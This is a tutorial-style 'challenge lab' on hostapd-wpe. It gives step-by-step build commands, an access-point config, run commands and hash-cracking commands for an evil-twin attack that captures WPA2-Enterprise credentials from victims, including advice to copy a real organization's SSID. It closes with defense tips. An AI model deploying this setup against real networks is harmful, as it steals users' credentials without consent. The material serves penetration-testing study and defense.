**💣 hostapd-wpe Challenge Lab – Wireless Hacking 101**

**🧠 What is hostapd-wpe?**

**hostapd-wpe** is a *weaponized version of hostapd* (Host Access Point Daemon) that allows attackers to:

✅ Create a **fake Wi-Fi Access Point (AP)**

✅ Perform **Evil Twin Attacks**

✅ Capture **WPA2 Enterprise credentials (MSCHAPv2)**

✅ Crack them offline using tools like asleap or john

**🚨 What’s the Goal of the Lab?**

Simulate a **malicious Wi-Fi hotspot** to:

* Fool users into connecting
* Steal **Enterprise Wi-Fi credentials**
* Understand **wireless phishing** and **man-in-the-middle** attacks

**🧪 Challenge Lab Setup**

**✅ Requirements:**

* Kali Linux or Parrot OS
* Wireless adapter in monitor mode (**supports AP mode**)
* hostapd-wpe installed (often pre-installed on Kali)

**🔧 Step-by-Step:**

**1. Clone & Install (if not installed)**

git clone https://github.com/OpenSecurityResearch/hostapd-wpe

cd hostapd-wpe/hostapd

make

**2. Edit Config File**

Customize hostapd-wpe.conf:

interface=wlan0

ssid=FreeWiFi

channel=6

auth\_algs=1

wpa=2

wpa\_key\_mgmt=WPA-EAP

ieee8021x=1

eap\_server=0

own\_ip\_addr=192.168.1.1

You can set the **SSID** to mimic a real organization’s Wi-Fi (e.g., CorpNet).

**3. Run hostapd-wpe**

sudo ./hostapd-wpe hostapd-wpe.conf

The fake AP is now live.

**4. Wait for Victim to Connect**

When a user connects and attempts authentication, hostapd-wpe captures:

* Username
* **MSCHAPv2 handshake** (can be cracked offline)

**🔓 Cracking the Hash**

Use **asleap** or **john the ripper**:

asleap -C <challenge> -R <response> -W wordlist.txt

Or:

john hash.txt --wordlist=rockyou.txt

**🛡️ Defense Tips**

* Use **certificate-based authentication** (EAP-TLS)
* Validate SSID and certificates before connecting
* Disable auto-connect to open Wi-Fi
* Use VPN on public networks

**📌 Why Learn This?**

| **Reason** | **Why it matters** |
| --- | --- |
| Real-World Threat | This is **how attackers steal enterprise Wi-Fi creds** |
| Understand Evil Twin | Essential in **Red Team operations** |
| Build Better Defense | Helps **defenders spot rogue APs** |
| Practice Wireless PenTesting | Critical in **WPA2 Enterprise assessments** |